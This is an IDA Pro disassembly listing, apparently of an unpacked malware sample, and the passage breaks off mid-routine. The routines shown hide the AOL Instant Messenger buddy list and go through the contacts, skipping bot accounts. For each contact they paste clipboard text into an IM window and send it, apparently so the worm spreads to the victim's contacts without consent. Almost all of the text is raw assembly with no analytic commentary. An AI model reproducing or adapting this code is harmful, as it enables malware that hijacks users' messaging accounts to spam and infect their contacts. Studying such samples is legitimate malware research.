;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	B13086DC42651A395907698D739FA46B

; File Name   :	u:\work\b13086dc42651a395907698d739fa46b_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00039000 ( 233472.)
; Section size in file		: 00039000 ( 233472.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_40C38F+25p
					; sub_41B9F9+25p ...
		mov	eax, offset loc_427A01
		call	sub_41E550
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		call	sub_41C7BD
		and	dword ptr [ebp-4], 0
		push	dword ptr [ebp+8]
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_42946C
		call	sub_4017F2
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_40103C	proc near		; CODE XREF: .text:0040106Ap
					; sub_401083+6j ...
		push	esi
		mov	esi, ecx
		push	0
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_42946C
		call	sub_4019B1
		mov	ecx, esi
		pop	esi
		jmp	sub_41C855
sub_40103C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401059	proc near		; DATA XREF: .text:00429470o
					; .text:0042947Co ...
		cmp	dword ptr [ecx+24h], 10h
		jb	short loc_401063
		mov	eax, [ecx+10h]
		retn
; ---------------------------------------------------------------------------

loc_401063:				; CODE XREF: sub_401059+4j
		lea	eax, [ecx+10h]
		retn
sub_401059	endp

; ---------------------------------------------------------------------------

loc_401067:				; DATA XREF: .text:off_42946Co
		push	esi
		mov	esi, ecx
		call	sub_40103C
		test	byte ptr [esp+8], 1
		jz	short loc_40107D
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_40107D:				; CODE XREF: .text:00401074j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_401083	proc near		; CODE XREF: .text:00401091p
					; DATA XREF: .text:00431190o
		mov	dword ptr [ecx], offset	off_429478
		jmp	sub_40103C
sub_401083	endp

; ---------------------------------------------------------------------------

loc_40108E:				; DATA XREF: .text:off_429478o
		push	esi
		mov	esi, ecx
		call	sub_401083
		test	byte ptr [esp+8], 1
		jz	short loc_4010A4
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_4010A4:				; CODE XREF: .text:0040109Bj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010AA	proc near		; DATA XREF: sub_4010FE:loc_401135o

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		xor	esi, esi
		call	ds:dword_429094	; GetThreadLocale
		push	7
		lea	ecx, [ebp+var_8]
		push	ecx
		push	1004h
		push	eax
		call	ds:dword_42907C	; GetLocaleInfoA
		test	eax, eax
		jz	short loc_4010ED
		mov	cl, [ebp+var_8]
		test	cl, cl
		lea	eax, [ebp+var_8]
		jz	short loc_4010ED

loc_4010D8:				; CODE XREF: sub_4010AA+3Dj
		movsx	ecx, cl
		lea	edx, [esi+esi*4]
		inc	eax
		lea	esi, [ecx+edx*2-30h]
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_4010D8
		test	esi, esi
		jnz	short loc_4010F5

loc_4010ED:				; CODE XREF: sub_4010AA+22j
					; sub_4010AA+2Cj
		call	ds:dword_429088	; GetACP
		mov	esi, eax

loc_4010F5:				; CODE XREF: sub_4010AA+41j
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4010AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010FA	proc near		; DATA XREF: sub_4010FE+30o
		push	3
		pop	eax
		retn
sub_4010FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010FE	proc near		; CODE XREF: sub_4010FE+48p
					; sub_409538+14p
					; DATA XREF: ...

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	eax
		mov	[ebp+var_94], 94h
		call	ds:dword_42909C	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_401135
		cmp	[ebp+var_90], 5
		mov	eax, offset sub_4010FA
		jnb	short loc_40113A

loc_401135:				; CODE XREF: sub_4010FE+27j
		mov	eax, offset sub_4010AA

loc_40113A:				; CODE XREF: sub_4010FE+35j
		push	eax
		push	offset off_434144
		call	ds:dword_429090	; InterlockedExchange
		call	ds:off_434144
		leave
		retn
sub_4010FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40114E	proc near		; CODE XREF: sub_41BB77+6p
		push	esi
		push	18h
		mov	esi, ecx
		push	0
		push	esi
		call	sub_41C6D0
		add	esp, 0Ch
		mov	eax, esi
		pop	esi
		retn
sub_40114E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401162	proc near		; CODE XREF: sub_41BBA7+8Bp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset stru_430D18
		call	__SEH_prolog
		xor	esi, esi
		mov	[ebp+ms_exc.disabled], esi
		push	ecx
		call	ds:dword_429080	; InitializeCriticalSection
		jmp	short loc_4011A6
; ---------------------------------------------------------------------------

loc_40117C:				; DATA XREF: .text:stru_430D18o
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_40118A:				; DATA XREF: .text:stru_430D18o
		mov	esp, [ebp+ms_exc.old_esp]
		xor	eax, eax
		cmp	[ebp+var_1C], 0C0000017h
		setnz	al
		dec	eax
		and	eax, 6C009h
		add	eax, 80004005h
		mov	esi, eax

loc_4011A6:				; CODE XREF: sub_401162+18j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, esi
		call	__SEH_epilog
		retn
sub_401162	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011B2	proc near		; CODE XREF: sub_4011D1+4p
					; sub_401236+7p
		push	esi
		push	0
		push	offset a_oscar_statusn ; "_Oscar_StatusNotify"
		call	ds:dword_42920C	; FindWindowA
		mov	esi, eax
		push	esi
		call	ds:dword_429210	; IsWindow
		neg	eax
		sbb	eax, eax
		and	eax, esi
		pop	esi
		retn
sub_4011B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011D1	proc near		; CODE XREF: sub_4016AD:loc_401700p
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4011B2
		xor	ebp, ebp
		cmp	eax, ebp
		jz	short loc_40122B
		push	ebp
		push	4E23h
		push	111h
		push	eax
		call	ds:dword_429260	; SendMessageA
		mov	ebx, ds:dword_42925C
		mov	edi, ds:dword_429210
		xor	esi, esi

loc_401200:				; CODE XREF: sub_4011D1+58j
		push	ebp
		push	offset a32770	; "#32770"
		push	esi
		push	ebp
		call	ebx	; FindWindowExA
		mov	esi, eax
		push	esi
		call	edi	; IsWindow
		test	eax, eax
		jz	short loc_401224
		push	ebp
		push	offset a_aimad	; "_AimAd"
		push	ebp
		push	esi
		call	ebx	; FindWindowExA
		push	eax
		call	edi	; IsWindow
		test	eax, eax
		jnz	short loc_401232

loc_401224:				; CODE XREF: sub_4011D1+40j
		push	esi
		call	edi	; IsWindow
		test	eax, eax
		jnz	short loc_401200

loc_40122B:				; CODE XREF: sub_4011D1+Dj
		xor	eax, eax

loc_40122D:				; CODE XREF: sub_4011D1+63j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_401232:				; CODE XREF: sub_4011D1+51j
		mov	eax, esi
		jmp	short loc_40122D
sub_4011D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_401236	proc near		; CODE XREF: sub_4016AD+EFp
					; sub_40F578+2Fp

var_108		= dword	ptr -108h
var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 10Ch
		push	esi
		call	sub_4011B2
		xor	esi, esi
		cmp	eax, esi
		jz	loc_4013E4
		push	ebx
		mov	ebx, ds:dword_429260
		push	ebp
		push	edi
		push	esi
		push	4E20h
		push	111h
		push	eax
		call	ebx	; SendMessageA
		mov	ebp, ds:dword_42925C
		push	esi
		push	offset aAim_imessage ; "AIM_IMessage"
		push	esi
		push	esi
		call	ebp	; FindWindowExA
		mov	edi, ds:dword_429210
		push	eax
		mov	[esp+120h+var_108], eax
		call	edi	; IsWindow
		test	eax, eax
		jz	loc_4013CC

loc_401288:				; CODE XREF: sub_401236+8Cj
		push	0
		push	offset a_oscar_persist ; "_Oscar_PersistantCombo"
		push	esi
		push	[esp+128h+var_108]
		call	ebp	; FindWindowExA
		mov	esi, eax
		push	esi
		call	edi	; IsWindow
		test	eax, eax
		jz	short loc_4012BD
		push	[esp+118h+arg_4]
		push	0
		push	14Ah
		push	esi
		call	ebx	; SendMessageA
		push	0
		push	eax
		push	14Eh
		push	esi
		call	ebx	; SendMessageA
		xor	esi, esi

loc_4012BD:				; CODE XREF: sub_401236+67j
		push	esi
		call	edi	; IsWindow
		test	eax, eax
		jnz	short loc_401288

loc_4012C4:				; CODE XREF: sub_401236+190j
		push	0
		push	offset aWndate32class ;	"WndAte32Class"
		push	esi
		push	[esp+128h+var_108]
		call	ebp	; FindWindowExA
		mov	esi, eax
		push	esi
		call	edi	; IsWindow
		test	eax, eax
		jz	loc_4013C1
		push	0
		push	offset aCbclass	; "CBClass"
		push	0
		push	esi
		call	ebp	; FindWindowExA
		push	eax
		call	edi	; IsWindow
		test	eax, eax
		jz	loc_4013C1
		push	0
		push	offset aAte32class ; "Ate32Class"
		push	0
		push	esi
		call	ebp	; FindWindowExA
		mov	[esp+118h+var_100], eax
		lea	eax, [esp+118h+var_108]
		push	eax
		call	sub_40472B
		push	1
		push	1
		mov	esi, 100h
		lea	edi, [esp+120h+var_FC]
		call	sub_404740
		push	offset aAolmail	; "AOLMAIL"
		mov	[esp+11Ch+var_108], eax
		call	ds:dword_429244	; RegisterClipboardFormatA
		push	[esp+118h+arg_8]
		mov	esi, eax
		call	sub_41C350
		pop	ecx
		inc	eax
		push	eax
		push	[esp+11Ch+arg_8]
		push	esi
		call	sub_404793
		mov	edi, ds:dword_429240
		call	edi	; CloseClipboard
		push	0
		push	24Fh
		mov	esi, 111h
		push	esi
		push	[esp+124h+var_100]
		call	ebx	; SendMessageA
		push	0
		push	10259h
		push	esi
		push	[esp+124h+var_100]
		call	ebx	; SendMessageA
		xor	esi, esi
		push	esi
		call	ds:dword_429250	; OpenClipboard
		cmp	[esp+118h+var_108], esi
		jz	short loc_4013B3
		push	offset aAolmail	; "AOLMAIL"
		call	ds:dword_429244	; RegisterClipboardFormatA
		mov	[esp+118h+var_108], eax
		lea	eax, [esp+118h+var_FC]
		push	eax
		call	sub_41C350
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [esp+11Ch+var_FC]
		push	eax
		push	[esp+120h+var_108]
		call	sub_404793
		jmp	short loc_4013B9
; ---------------------------------------------------------------------------

loc_4013B3:				; CODE XREF: sub_401236+14Fj
		call	ds:dword_42924C	; EmptyClipboard

loc_4013B9:				; CODE XREF: sub_401236+17Bj
		call	edi	; CloseClipboard
		mov	edi, ds:dword_429210

loc_4013C1:				; CODE XREF: sub_401236+A3j
					; sub_401236+BAj
		push	esi
		call	edi	; IsWindow
		test	eax, eax
		jnz	loc_4012C4

loc_4013CC:				; CODE XREF: sub_401236+4Cj
		xor	eax, eax
		cmp	[esp+11Ch+arg_8], eax
		jz	short loc_4013E1
		push	eax
		push	eax
		push	10h
		push	[esp+128h+var_108]
		call	ebx	; SendMessageA

loc_4013E1:				; CODE XREF: sub_401236+19Fj
		pop	edi
		pop	ebp
		pop	ebx

loc_4013E4:				; CODE XREF: sub_401236+10j
		pop	esi
		add	esp, 10Ch
		retn
sub_401236	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013EC	proc near		; CODE XREF: sub_4016AD+7Cp
		mov	eax, offset loc_427CC6
		call	sub_41E550
		sub	esp, 188h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-28h], ebx
		mov	[ebp-34h], ebx
		mov	[ebp-30h], ebx
		mov	[ebp-2Ch], ebx
		push	100h
		lea	eax, [ebp-194h]
		push	eax
		push	dword ptr [ebp+0Ch]
		mov	[ebp-4], ebx
		call	ds:dword_429264	; GetWindowTextA
		lea	eax, [ebp-194h]
		push	27h
		push	eax
		call	sub_41C8A0
		mov	esi, ds:dword_42925C
		pop	ecx
		pop	ecx
		push	ebx
		push	offset a32770	; "#32770"
		push	ebx
		push	dword ptr [ebp+0Ch]
		mov	[eax], bl
		call	esi	; FindWindowExA
		push	ebx
		push	offset a_oscar_tree ; "_Oscar_Tree"
		push	ebx
		push	eax
		call	esi	; FindWindowExA
		mov	edi, eax
		push	edi
		call	ds:dword_429210	; IsWindow
		test	eax, eax
		jz	loc_40164D
		mov	esi, ds:dword_429260
		push	ebx
		push	ebx
		push	18Bh
		push	edi
		call	esi	; SendMessageA
		or	dword ptr [ebp-10h], 0FFFFFFFFh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-18h], eax
		jle	short loc_4014AD

loc_401480:				; CODE XREF: sub_4013EC+BFj
		inc	dword ptr [ebp-10h]
		push	ebx
		push	dword ptr [ebp-10h]
		push	186h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	25h

loc_401492:				; DATA XREF: .text:off_4348D8o
		push	100h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	25h
		push	101h
		push	edi
		call	esi	; SendMessageA
		mov	eax, [ebp-18h]
		cmp	[ebp-10h], eax
		jl	short loc_401480

loc_4014AD:				; CODE XREF: sub_4013EC+92j
		push	ebx
		push	ebx
		push	18Bh
		push	edi
		call	esi	; SendMessageA
		lea	ecx, [eax-2]
		cmp	ecx, ebx
		mov	[ebp-10h], ecx
		jl	loc_40164D
		or	dword ptr [ebp-24h], 0FFFFFFFFh
		sub	[ebp-24h], eax

loc_4014CC:				; CODE XREF: sub_4013EC+25Bj
		push	ebx
		push	dword ptr [ebp-10h]
		push	186h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	27h
		push	100h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	27h
		push	101h
		push	edi
		call	esi	; SendMessageA
		push	ebx
		push	ebx
		push	18Bh
		push	edi
		call	esi	; SendMessageA
		mov	ecx, eax
		add	ecx, [ebp-24h]
		mov	eax, [ebp-10h]
		lea	ecx, [ecx+eax+1]
		lea	edx, [eax+1]
		cmp	edx, ecx
		mov	[ebp-28h], ecx
		mov	[ebp-14h], edx
		jg	loc_40163A

loc_401515:				; CODE XREF: sub_4013EC+245j
		push	ebx
		push	dword ptr [ebp-14h]
		push	186h
		push	edi
		call	esi	; SendMessageA
		lea	eax, [ebp-78h]
		push	eax
		push	dword ptr [ebp-14h]
		push	189h
		push	edi
		call	esi	; SendMessageA
		lea	eax, [ebp-38h]
		mov	[ebp-18h], ebx
		mov	[ebp-1Ch], ebx
		call	sub_4018AC
		test	eax, eax
		jbe	short loc_401585
		mov	eax, [ebp-34h]
		add	eax, 4
		mov	[ebp-20h], eax
		jmp	short loc_401550
; ---------------------------------------------------------------------------

loc_40154D:				; CODE XREF: sub_4013EC+18Ej
		mov	eax, [ebp-20h]

loc_401550:				; CODE XREF: sub_4013EC+15Fj
		cmp	dword ptr [eax+14h], 10h
		jb	short loc_401558
		mov	eax, [eax]

loc_401558:				; CODE XREF: sub_4013EC+168j
		push	eax
		lea	eax, [ebp-78h]
		push	eax
		call	sub_41C730
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40157E
		inc	dword ptr [ebp-1Ch]
		add	dword ptr [ebp-20h], 1Ch
		lea	eax, [ebp-38h]
		call	sub_4018AC
		cmp	[ebp-1Ch], eax
		jb	short loc_40154D
		jmp	short loc_401585
; ---------------------------------------------------------------------------

loc_40157E:				; CODE XREF: sub_4013EC+17Aj
		mov	dword ptr [ebp-18h], 1

loc_401585:				; CODE XREF: sub_4013EC+154j
					; sub_4013EC+190j
		lea	eax, [ebp-78h]
		push	28h
		push	eax
		call	sub_41C3F0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_401628
		cmp	[ebp-18h], ebx
		jnz	loc_401628
		lea	eax, [ebp-78h]
		push	offset aMoviefone ; "Moviefone"
		push	eax
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_401628
		lea	eax, [ebp-78h]
		push	offset aShoppingbuddy ;	"ShoppingBuddy"
		push	eax
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_401628
		lea	eax, [ebp-78h]
		push	offset aSmarterchild ; "SmarterChild"
		push	eax
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_401628
		lea	eax, [ebp-194h]
		push	eax
		lea	eax, [ebp-78h]
		push	eax
		call	sub_426D1E
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_401628
		lea	eax, [ebp-78h]
		push	eax
		lea	ecx, [ebp-94h]
		call	sub_401818
		lea	eax, [ebp-94h]
		push	eax
		lea	eax, [ebp-38h]
		mov	byte ptr [ebp-4], 1
		call	sub_4018C2
		push	ebx
		push	1
		lea	ecx, [ebp-94h]
		mov	[ebp-4], bl
		call	sub_4019B1

loc_401628:				; CODE XREF: sub_4013EC+1A8j
					; sub_4013EC+1B1j ...
		inc	dword ptr [ebp-14h]
		mov	eax, [ebp-14h]
		cmp	eax, [ebp-28h]
		jle	loc_401515
		mov	eax, [ebp-10h]

loc_40163A:				; CODE XREF: sub_4013EC+123j
		push	ebx
		push	eax
		push	186h
		push	edi
		call	esi	; SendMessageA
		dec	dword ptr [ebp-10h]
		jns	loc_4014CC

loc_40164D:				; CODE XREF: sub_4013EC+72j
					; sub_4013EC+D3j
		push	dword ptr [ebp+8]
		lea	ecx, [ebp-38h]
		call	sub_401844
		lea	esi, [ebp-38h]
		call	sub_401A89
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+8]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4013EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401672	proc near		; CODE XREF: sub_4017D5+17p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, eax
		and	dword ptr [esi+4], 0
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		push	200h
		push	[esp+8+arg_0]
		lea	eax, [esi+10h]
		push	eax
		mov	dword ptr [esi], offset	off_42A9C4
		call	sub_41C5A0
		mov	eax, [esp+10h+arg_4]
		add	esp, 0Ch
		mov	[esi+210h], eax
		call	sub_416AC4
		mov	eax, esi
		pop	esi
		retn	8
sub_401672	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4016AD	proc near		; DATA XREF: .text:off_42A9C4o

var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, offset dword_438140
		push	edi
		mov	eax, esi
		mov	edi, ecx
		call	sub_416B68
		mov	ecx, [edi+210h]
		xor	ebx, ebx
		cmp	edx, ebx
		mov	ebx, ds:dword_429084
		ja	short loc_401700
		jb	short loc_4016DC
		cmp	eax, ecx
		jnb	short loc_401700

loc_4016DC:				; CODE XREF: sub_4016AD+29j
					; sub_4016AD+4Aj ...
		push	3E8h
		call	ebx	; Sleep
		mov	eax, esi
		call	sub_416B68
		mov	ecx, [edi+210h]
		mov	[ebp+var_10], eax
		xor	eax, eax
		cmp	edx, eax
		jb	short loc_4016DC
		ja	short loc_401700
		cmp	[ebp+var_10], ecx
		jb	short loc_4016DC

loc_401700:				; CODE XREF: sub_4016AD+27j
					; sub_4016AD+2Dj ...
		call	sub_4011D1
		push	eax
		mov	[ebp+var_C], eax
		call	ds:dword_429210	; IsWindow
		test	eax, eax
		jz	loc_4017D0
		push	0
		push	[ebp+var_C]
		call	ds:dword_429214	; ShowWindow
		push	[ebp+var_C]
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_4013EC
		and	[ebp+var_8], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_30]
		call	sub_4018AC
		test	eax, eax
		jbe	short loc_4017BF
		mov	eax, [ebp+var_2C]
		add	eax, 4
		mov	[ebp+var_4], eax

loc_401749:				; CODE XREF: sub_4016AD+110j
		mov	eax, esi
		call	sub_416B68
		mov	ecx, [edi+210h]
		mov	[ebp+var_18], eax
		xor	eax, eax
		cmp	edx, eax
		ja	short loc_40178A
		jb	short loc_401766
		cmp	[ebp+var_18], ecx
		jnb	short loc_40178A

loc_401766:				; CODE XREF: sub_4016AD+B2j
					; sub_4016AD+D4j ...
		push	3E8h
		call	ebx	; Sleep
		mov	eax, esi
		call	sub_416B68
		mov	ecx, [edi+210h]
		mov	[ebp+var_20], eax
		xor	eax, eax
		cmp	edx, eax
		jb	short loc_401766
		ja	short loc_40178A
		cmp	[ebp+var_20], ecx
		jb	short loc_401766

loc_40178A:				; CODE XREF: sub_4016AD+B0j
					; sub_4016AD+B7j ...
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 10h
		jb	short loc_401795
		mov	ecx, [ecx]

loc_401795:				; CODE XREF: sub_4016AD+E4j
		push	1
		lea	eax, [edi+10h]
		push	eax
		push	ecx
		call	sub_401236
		add	esp, 0Ch
		push	1388h
		call	ebx	; Sleep
		inc	[ebp+var_8]
		add	[ebp+var_4], 1Ch
		lea	eax, [ebp+var_30]
		call	sub_4018AC
		cmp	[ebp+var_8], eax
		jb	short loc_401749

loc_4017BF:				; CODE XREF: sub_4016AD+91j
		push	[ebp+var_C]
		call	ds:dword_429258	; DestroyWindow
		lea	esi, [ebp+var_30]
		call	sub_401A89

loc_4017D0:				; CODE XREF: sub_4016AD+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4016AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4017D5	proc near		; CODE XREF: .text:0040F5EBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	214h
		call	sub_41BA91
		test	eax, eax
		pop	ecx
		jz	short locret_4017F1
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_401672

locret_4017F1:				; CODE XREF: sub_4017D5+Dj
		retn
sub_4017D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4017F2	proc near		; CODE XREF: sub_401000+26p
					; sub_401C28+1Fp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401BAE
		push	0FFFFFFFFh
		push	0
		push	[esp+0Ch+arg_0]
		mov	ecx, esi
		call	sub_401905
		mov	eax, esi
		pop	esi
		retn	4
sub_4017F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_401818	proc near		; CODE XREF: sub_4013EC+213p
					; sub_409729+122p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	0
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401BAE
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_401994
		mov	eax, esi
		pop	esi
		retn	4
sub_401818	endp

; ---------------------------------------------------------------------------

loc_40183A:				; CODE XREF: .text:0042790Dj
					; .text:00427C88j ...
		push	0
		push	1
		call	sub_4019B1
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401844	proc near		; CODE XREF: sub_4013EC+267p
					; sub_409729+171p
		mov	eax, offset loc_427CA9
		call	sub_41E550
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	edi, ecx
		mov	eax, edi
		mov	[ebp-10h], esp
		call	sub_4018AC
		call	sub_401A4D
		test	al, al
		jz	short loc_401882
		and	dword ptr [ebp-4], 0
		push	dword ptr [esi+4]
		mov	eax, [edi+8]
		mov	edi, [edi+4]
		push	eax
		push	edi
		push	esi
		call	sub_401FAA
		mov	[esi+8], eax

loc_401882:				; CODE XREF: sub_401844+24j
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_401844	endp


; =============== S U B	R O U T	I N E =======================================



sub_401895	proc near		; DATA XREF: .text:00431B48o
		mov	esi, [ebp+8]
		call	sub_401A89
		push	0
		push	0
		call	sub_41E4BE
		int	3		; Trap to Debugger

loc_4018A7:				; CODE XREF: .text:00427CB6j
					; .text:00427D59j ...
		jmp	sub_401A89
sub_401895	endp


; =============== S U B	R O U T	I N E =======================================



sub_4018AC	proc near		; CODE XREF: sub_4013EC+14Dp
					; sub_4013EC+186p ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_4018B6
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4018B6:				; CODE XREF: sub_4018AC+5j
		mov	eax, [eax+8]
		sub	eax, ecx
		push	1Ch
		cdq
		pop	ecx
		idiv	ecx
		retn
sub_4018AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018C2	proc near		; CODE XREF: sub_4013EC+226p
					; sub_409729+132p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, eax
		call	sub_4019FA
		mov	esi, eax
		mov	eax, edi
		call	sub_4018AC
		cmp	eax, esi
		jnb	short loc_4018EE
		push	[ebp+arg_0]
		push	1
		push	dword ptr [edi+8]
		push	edi
		call	sub_401AAF
		mov	[edi+8], eax
		jmp	short loc_4018FF
; ---------------------------------------------------------------------------

loc_4018EE:				; CODE XREF: sub_4018C2+17j
		mov	eax, [edi+8]
		push	ebx
		push	[ebp+arg_0]
		lea	ebx, [ebp+arg_0]
		push	eax
		call	sub_401A10
		pop	ebx

loc_4018FF:				; CODE XREF: sub_4018C2+2Aj
		pop	edi
		pop	esi
		pop	ebp
		retn	4
sub_4018C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401905	proc near		; CODE XREF: sub_4017F2+1Bp
					; sub_401AD3+2Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	[edi+14h], eax
		mov	ebx, ecx
		jnb	short loc_40191D
		call	sub_41B9F9

loc_40191D:				; CODE XREF: sub_401905+11j
		mov	esi, [edi+14h]
		mov	eax, [ebp+arg_4]
		sub	esi, eax
		cmp	[ebp+arg_8], esi
		jnb	short loc_40192D
		mov	esi, [ebp+arg_8]

loc_40192D:				; CODE XREF: sub_401905+23j
		cmp	ebx, edi
		mov	ecx, ebx
		jnz	short loc_40194B
		push	0FFFFFFFFh
		add	esi, eax
		push	esi
		call	sub_401B42
		push	[ebp+arg_4]
		mov	ecx, ebx
		push	0
		call	sub_401B42
		jmp	short loc_40198B
; ---------------------------------------------------------------------------

loc_40194B:				; CODE XREF: sub_401905+2Cj
		push	0
		push	esi
		call	sub_401BCA
		test	al, al
		jz	short loc_40198B
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_401962
		mov	edi, [edi+4]
		jmp	short loc_401965
; ---------------------------------------------------------------------------

loc_401962:				; CODE XREF: sub_401905+56j
		add	edi, 4

loc_401965:				; CODE XREF: sub_401905+5Bj
		cmp	dword ptr [ebx+18h], 10h
		jb	short loc_401970
		mov	eax, [ebx+4]
		jmp	short loc_401973
; ---------------------------------------------------------------------------

loc_401970:				; CODE XREF: sub_401905+64j
		lea	eax, [ebx+4]

loc_401973:				; CODE XREF: sub_401905+69j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	edi, ecx
		push	edi
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		push	esi
		mov	ecx, ebx
		call	sub_401BAE

loc_40198B:				; CODE XREF: sub_401905+44j
					; sub_401905+50j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	0Ch
sub_401905	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401994	proc near		; CODE XREF: sub_401818+17p

arg_0		= dword	ptr  4
